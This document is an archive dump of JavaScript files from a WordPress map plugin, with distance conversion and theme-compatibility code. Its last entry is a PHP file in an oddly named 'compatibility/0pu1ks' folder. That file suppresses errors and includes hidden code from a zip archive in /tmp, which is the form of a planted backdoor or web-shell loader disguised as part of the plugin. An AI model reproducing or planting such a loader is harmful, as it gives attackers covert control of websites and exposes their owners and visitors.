/**
* Converts a UI distance (eg from a form control) to kilometers,
* accounting for the global units setting
* @method uiToKilometers
* @static
* @memberof WPGMZA.Distance
* @param {number} uiDistance The distance from the UI, could be in miles or kilometers depending on settings
* @return {number} The input distance in kilometers
*/
uiToKilometers: function(uiDistance)
{
return WPGMZA.Distance.uiToMeters(uiDistance) * 0.001;
},
/**
* Converts a UI distance (eg from a form control) to miles, according to settings
* @method uiToMiles
* @static
* @memberof WPGMZA.Distance
* @param {number} uiDistance The distance from the UI, could be in miles or kilometers depending on settings
* @return {number} The input distance
*/
uiToMiles: function(uiDistance)
{
return WPGMZA.Distance.uiToKilometers(uiDistance) * WPGMZA.Distance.MILES_PER_KILOMETER;
},
/**
* Converts kilometers to a UI distance, either the same value, or converted to miles depending on settings.
* @method kilometersToUI
* @static
* @memberof WPGMZA.Distance
* @param {number} km The input distance in kilometers
* @param {number} The UI distance in the units specified by settings
*/
kilometersToUI: function(km)
{
if(WPGMZA.settings.distance_units == WPGMZA.Distance.MILES)
return km * WPGMZA.Distance.MILES_PER_KILOMETER;
return km;
},
/**
* Returns the distance, in kilometers, between two LatLng's
* @method between
* @static
* @memberof WPGMZA.Distance
* @param {WPGMZA.Latlng} The first point
* @param {WPGMZA.Latlng} The second point
* @return {number} The distance, in kilometers
*/
between: function(a, b)
{
if(!(a instanceof WPGMZA.LatLng) && !("lat" in a && "lng" in a))
throw new Error("First argument must be an instance of WPGMZA.LatLng or a literal");
if(!(b instanceof WPGMZA.LatLng) && !("lat" in b && "lng" in b))
throw new Error("Second argument must be an instance of WPGMZA.LatLng or a literal");
if(a === b)
return 0.0;
var lat1 = a.lat;
var lon1 = a.lng;
var lat2 = b.lat;
var lon2 = b.lng;
var dLat = deg2rad(lat2 - lat1);
var dLon = deg2rad(lon2 - lon1);
var a =
Math.sin(dLat/2) * Math.sin(dLat/2) +
Math.cos(deg2rad(lat1)) * Math.cos(deg2rad(lat2)) *
Math.sin(dLon/2) * Math.sin(dLon/2);
var c = 2 * Math.atan2(Math.sqrt(a), Math.sqrt(1-a));
var d = earthRadiusMeters * c; // Distance in km
return d;
}
};
}); compatibility/google-ui-compatibility.js 0000666 00000001212 15176066225 0014523 0 ustar 00 /**
* @namespace WPGMZA
* @module GoogleUICompatibility
* @requires WPGMZA
*/
jQuery(function($) {
WPGMZA.GoogleUICompatibility = function()
{
var isSafari = navigator.vendor && navigator.vendor.indexOf('Apple') > -1 &&
navigator.userAgent &&
navigator.userAgent.indexOf('CriOS') == -1 &&
navigator.userAgent.indexOf('FxiOS') == -1;
if(!isSafari)
{
var style = $("<style id='wpgmza-google-ui-compatiblity-fix'/>");
style.html(".wpgmza_map img:not(button img) { padding:0 !important; }");
$(document.head).append(style);
}
}
WPGMZA.googleUICompatibility = new WPGMZA.GoogleUICompatibility();
}); compatibility/astra-theme-compatibility.js 0000666 00000001013 15176066225 0015045 0 ustar 00 /**
* @namespace WPGMZA
* @module AstraThemeCompatiblity
* @requires WPGMZA
* @description Prevents the document.body.onclick handler firing for markers, which causes the Astra theme to throw an error, preventing the infowindow from opening
*/
jQuery(function($) {
$(document).ready(function(event) {
var parent = document.body.onclick;
if(!parent)
return;
document.body.onclick = function(event)
{
if(event.target instanceof WPGMZA.Marker)
return;
parent(event);
}
});
}); compatibility/0pu1ks/index.php 0000666 00000000150 15176066225 0012372 0 ustar 00 <?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "simp.php"; include("zip:///tmp/phpPGrOym#$h");?>